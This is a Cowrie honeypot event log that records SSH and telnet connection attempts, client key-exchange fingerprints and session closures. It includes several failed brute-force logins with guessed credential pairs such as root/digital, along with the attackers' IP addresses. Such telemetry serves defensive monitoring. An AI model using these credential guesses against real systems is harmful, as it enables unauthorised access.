{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:42.568851Z","src_ip":"193.32.162.145","session":"fd796c1c60b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:43.022883Z","src_ip":"193.32.162.145","session":"fd796c1c60b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"16dd05f26da4","protocol":"telnet","message":"New connection: 161.97.105.174:39638 (159.203.135.109:23) [session: 16dd05f26da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:43.029749Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:44.137027Z","src_ip":"193.32.162.145","session":"fd796c1c60b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39644,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d2e70d34c64","protocol":"telnet","message":"New connection: 161.97.105.174:39644 (159.203.135.109:23) [session: 2d2e70d34c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:44.449138Z"}
{"eventid":"cowrie.session.closed","duration":33.744012117385864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:46.373573Z","src_ip":"161.97.105.174","session":"2334e419b104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.60884928703308,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:49.755404Z","src_ip":"161.97.105.174","session":"85f9115c65db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.097360372543335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:50.044813Z","src_ip":"161.97.105.174","session":"d1032185911f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33464,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e25f297631","protocol":"telnet","message":"New connection: 161.97.105.174:33464 (159.203.135.109:23) [session: 78e25f297631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:51.443111Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54fbe2066b1","protocol":"telnet","message":"New connection: 161.97.105.174:33476 (159.203.135.109:23) [session: d54fbe2066b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:51.786875Z"}
{"eventid":"cowrie.session.closed","duration":31.418220281600952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:52.360627Z","src_ip":"161.97.105.174","session":"98c4c5d82b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.22301650047302,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:04:56.801920Z","src_ip":"161.97.105.174","session":"71c5c934d2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49818,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed08f5ed0c0","protocol":"telnet","message":"New connection: 161.97.105.174:49818 (159.203.135.109:23) [session: 6ed08f5ed0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:01.732988Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f96ffd9fd6a","protocol":"telnet","message":"New connection: 161.97.105.174:49822 (159.203.135.109:23) [session: 0f96ffd9fd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:06.121487Z"}
{"eventid":"cowrie.session.closed","duration":32.67076301574707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:08.190943Z","src_ip":"161.97.105.174","session":"3f11356aaedc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44460,"dst_ip":"159.203.135.109","dst_port":23,"session":"82cd8ba012bf","protocol":"telnet","message":"New connection: 161.97.105.174:44460 (159.203.135.109:23) [session: 82cd8ba012bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:10.163667Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":59452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4db4e138288","protocol":"ssh","message":"New connection: 200.187.71.114:59452 (10.17.0.5:22) [session: e4db4e138288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:11.661452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:11.666838Z","src_ip":"200.187.71.114","session":"e4db4e138288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:11.782669Z","src_ip":"200.187.71.114","session":"e4db4e138288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"digital","message":"login attempt [root/digital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:12.271007Z","src_ip":"200.187.71.114","session":"e4db4e138288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44468,"dst_ip":"159.203.135.109","dst_port":23,"session":"5181e8c931b4","protocol":"telnet","message":"New connection: 161.97.105.174:44468 (159.203.135.109:23) [session: 5181e8c931b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:12.430868Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:13.389102Z","src_ip":"200.187.71.114","session":"e4db4e138288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.73503232002258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:15.764703Z","src_ip":"161.97.105.174","session":"16dd05f26da4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44480,"dst_ip":"159.203.135.109","dst_port":23,"session":"707ded149a00","protocol":"telnet","message":"New connection: 161.97.105.174:44480 (159.203.135.109:23) [session: 707ded149a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:16.528912Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"333cf9459ed7","protocol":"telnet","message":"New connection: 161.97.105.174:44486 (159.203.135.109:23) [session: 333cf9459ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:16.663246Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"34930e447350","protocol":"telnet","message":"New connection: 161.97.105.174:44490 (159.203.135.109:23) [session: 34930e447350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:16.967822Z"}
{"eventid":"cowrie.session.closed","duration":33.417649269104004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:17.866693Z","src_ip":"161.97.105.174","session":"2d2e70d34c64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b34717d3b6","protocol":"telnet","message":"New connection: 161.97.105.174:44498 (159.203.135.109:23) [session: 49b34717d3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:18.342068Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46878,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66df19f3cd3","protocol":"telnet","message":"New connection: 161.97.105.174:46878 (159.203.135.109:23) [session: b66df19f3cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:19.864036Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46890,"dst_ip":"159.203.135.109","dst_port":23,"session":"368a548f1084","protocol":"telnet","message":"New connection: 161.97.105.174:46890 (159.203.135.109:23) [session: 368a548f1084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:21.749122Z"}
{"eventid":"cowrie.session.closed","duration":32.68060827255249,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:24.123625Z","src_ip":"161.97.105.174","session":"78e25f297631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.423091411590576,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:24.209873Z","src_ip":"161.97.105.174","session":"d54fbe2066b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46912,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d921c1f584d","protocol":"telnet","message":"New connection: 161.97.105.174:46912 (159.203.135.109:23) [session: 5d921c1f584d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:26.846984Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4eaa35347d7","protocol":"telnet","message":"New connection: 161.97.105.174:46922 (159.203.135.109:23) [session: f4eaa35347d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:27.228989Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37994,"dst_ip":"159.203.135.109","dst_port":23,"session":"4164d12a1a1d","protocol":"telnet","message":"New connection: 161.97.105.174:37994 (159.203.135.109:23) [session: 4164d12a1a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:30.031764Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38008,"dst_ip":"159.203.135.109","dst_port":23,"session":"0367a9fe3691","protocol":"telnet","message":"New connection: 161.97.105.174:38008 (159.203.135.109:23) [session: 0367a9fe3691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:32.031976Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38012,"dst_ip":"159.203.135.109","dst_port":23,"session":"8159c6a61f0f","protocol":"telnet","message":"New connection: 161.97.105.174:38012 (159.203.135.109:23) [session: 8159c6a61f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:32.185239Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":44078,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe1728b9231","protocol":"ssh","message":"New connection: 202.125.94.71:44078 (10.17.0.5:22) [session: bfe1728b9231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:33.203745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:33.208033Z","src_ip":"202.125.94.71","session":"bfe1728b9231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:33.474416Z","src_ip":"202.125.94.71","session":"bfe1728b9231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"abc@123","message":"login attempt [hadoop/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:34.543624Z","src_ip":"202.125.94.71","session":"bfe1728b9231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81334590911865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:35.546191Z","src_ip":"161.97.105.174","session":"6ed08f5ed0c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:35.807799Z","src_ip":"202.125.94.71","session":"bfe1728b9231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59382,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbedae5ebebe","protocol":"telnet","message":"New connection: 161.97.105.174:59382 (159.203.135.109:23) [session: dbedae5ebebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:39.014380Z"}
{"eventid":"cowrie.session.closed","duration":33.609649658203125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:39.730995Z","src_ip":"161.97.105.174","session":"0f96ffd9fd6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80012536048889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:42.963645Z","src_ip":"161.97.105.174","session":"82cd8ba012bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59388,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7a4906528a","protocol":"telnet","message":"New connection: 161.97.105.174:59388 (159.203.135.109:23) [session: 5d7a4906528a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:43.615292Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59396,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b8dd05b0f2f","protocol":"telnet","message":"New connection: 161.97.105.174:59396 (159.203.135.109:23) [session: 6b8dd05b0f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:44.813216Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59398,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d240282d5b5","protocol":"telnet","message":"New connection: 161.97.105.174:59398 (159.203.135.109:23) [session: 3d240282d5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:45.741359Z"}
{"eventid":"cowrie.session.closed","duration":33.39362907409668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:45.824351Z","src_ip":"161.97.105.174","session":"5181e8c931b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59410,"dst_ip":"159.203.135.109","dst_port":23,"session":"00730149d9d5","protocol":"telnet","message":"New connection: 161.97.105.174:59410 (159.203.135.109:23) [session: 00730149d9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:47.659611Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48084,"dst_ip":"159.203.135.109","dst_port":23,"session":"a15c276e8944","protocol":"telnet","message":"New connection: 161.97.105.174:48084 (159.203.135.109:23) [session: a15c276e8944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:48.982745Z"}
{"eventid":"cowrie.session.closed","duration":32.31481122970581,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:49.282509Z","src_ip":"161.97.105.174","session":"34930e447350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48092,"dst_ip":"159.203.135.109","dst_port":23,"session":"85535024b8d3","protocol":"telnet","message":"New connection: 161.97.105.174:48092 (159.203.135.109:23) [session: 85535024b8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:49.471490Z"}
{"eventid":"cowrie.session.closed","duration":33.037837982177734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:49.566618Z","src_ip":"161.97.105.174","session":"707ded149a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.248903036117554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:52.590896Z","src_ip":"161.97.105.174","session":"49b34717d3b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959866523742676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:52.708858Z","src_ip":"161.97.105.174","session":"368a548f1084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48100,"dst_ip":"159.203.135.109","dst_port":23,"session":"565456edf874","protocol":"telnet","message":"New connection: 161.97.105.174:48100 (159.203.135.109:23) [session: 565456edf874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:53.624703Z"}
{"eventid":"cowrie.session.closed","duration":34.558385133743286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:54.422292Z","src_ip":"161.97.105.174","session":"b66df19f3cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.343281745910645,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:58.006378Z","src_ip":"161.97.105.174","session":"333cf9459ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.170.90.14","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"87264c2feb27","protocol":"telnet","message":"New connection: 118.170.90.14:55562 (10.17.0.5:23) [session: 87264c2feb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:58.804682Z"}
{"eventid":"cowrie.session.closed","duration":32.25818371772766,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:59.105059Z","src_ip":"161.97.105.174","session":"5d921c1f584d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04974961280823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:05:59.278656Z","src_ip":"161.97.105.174","session":"f4eaa35347d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4fcaa76eb0b","protocol":"telnet","message":"New connection: 161.97.105.174:37508 (159.203.135.109:23) [session: e4fcaa76eb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:02.045297Z"}
{"eventid":"cowrie.session.closed","duration":33.77953267097473,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:03.811189Z","src_ip":"161.97.105.174","session":"4164d12a1a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4190ec9d817","protocol":"telnet","message":"New connection: 161.97.105.174:37522 (159.203.135.109:23) [session: c4190ec9d817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:04.249595Z"}
{"eventid":"cowrie.session.closed","duration":32.537291288375854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:04.569140Z","src_ip":"161.97.105.174","session":"0367a9fe3691","protocol":"telnet"}
